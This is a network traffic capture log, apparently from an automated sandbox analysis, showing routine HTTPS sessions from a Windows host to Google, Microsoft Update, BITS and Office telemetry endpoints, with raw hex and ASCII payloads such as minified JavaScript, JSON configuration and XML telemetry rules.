2024-10-29 05:59:12 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-10-29 05:59:12 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-10-29 05:59:12 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-10-29 05:59:13 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49722	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:12 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-29 05:59:13 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=111335 Date: Tue, 29 Oct 2024 05:59:13 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49723	142.250.186.46	443	5532	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:13 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 05:59:13 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 31 38 31 35 35 31 31 34 37 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730181551147",null,null,null,
2024-10-29 05:59:13 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=tjcIyhowvappM_56gVvRJBPw87PDSXcKOxJSTeHT9CL3kGz2318HEWHbONJPx8we40jFu8DXXn-Y4ehIpe0KT_T3V6M28NWyYV6jJZhVE1S7WuM-wa-Q_P8PXni8WYJIsT8XCzk4QojE4LKtX2P9U28VNk_4_DIUD55XjLRdgIOIEVTJGck; expires=Wed, 30-Apr-2025 05:59:13 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 29 Oct 2024 05:59:13 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 29 Oct 2024 05:59:13 GMT Connection: close Transfer-Encoding: chunked
2024-10-29 05:59:13 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-29 05:59:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49728	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:14 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-29 05:59:14 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=111388 Date: Tue, 29 Oct 2024 05:59:14 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-29 05:59:14 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49730	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:15 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=yp9YfE+M7HxYvMY&MD=D7Zz7GSn HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-29 05:59:16 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 534af668-732b-49a2-b4f3-5f130e5ca084 MS-RequestId: aaf0521e-18ff-4c27-8a65-6e2d75e886dc MS-CV: +YcKIwJ/30eEDi9a.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 29 Oct 2024 05:59:14 GMT Connection: close Content-Length: 24490
2024-10-29 05:59:16 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-29 05:59:16 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49733	142.250.186.46	443	5532	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:15 UTC	923	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 918 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=tjcIyhowvappM_56gVvRJBPw87PDSXcKOxJSTeHT9CL3kGz2318HEWHbONJPx8we40jFu8DXXn-Y4ehIpe0KT_T3V6M28NWyYV6jJZhVE1S7WuM-wa-Q_P8PXni8WYJIsT8XCzk4QojE4LKtX2P9U28VNk_4_DIUD55XjLRdgIOIEVTJGck
2024-10-29 05:59:15 UTC	918	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 31 38 31 35 35 33 34 37 34 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730181553474",null,null,null,
2024-10-29 05:59:16 UTC	945	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=H5OEs3bsYxstGTeCK37nGIcDkgFrUW9jbefd2IOyNnsPwfQf19yUI_wyQayELUoX9m6vVcWX7YOja2NvMeKX3EajdXSSFU-NRVMfu-oB6yLNKXhdny1e29Kc1KUDQ_cYVO2SppgNxjuxJQaoLVPCe8B75BDl0w43MMTrF02AOzC6I5ymT0I9aGQtEDM; expires=Wed, 30-Apr-2025 05:59:16 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 29 Oct 2024 05:59:16 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 29 Oct 2024 05:59:16 GMT Connection: close Transfer-Encoding: chunked
2024-10-29 05:59:16 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-29 05:59:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49739	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:18 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:19 UTC	540	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:18 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Sun, 27 Oct 2024 10:35:44 GMT ETag: "0x8DCF6731CF80310" x-ms-request-id: 23ac3994-301e-0051-6594-2838bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055918Z-r197bdfb6b4mcssrvu34xzqc540000000690000000003n16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:19 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-29 05:59:19 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-29 05:59:19 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-29 05:59:19 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" 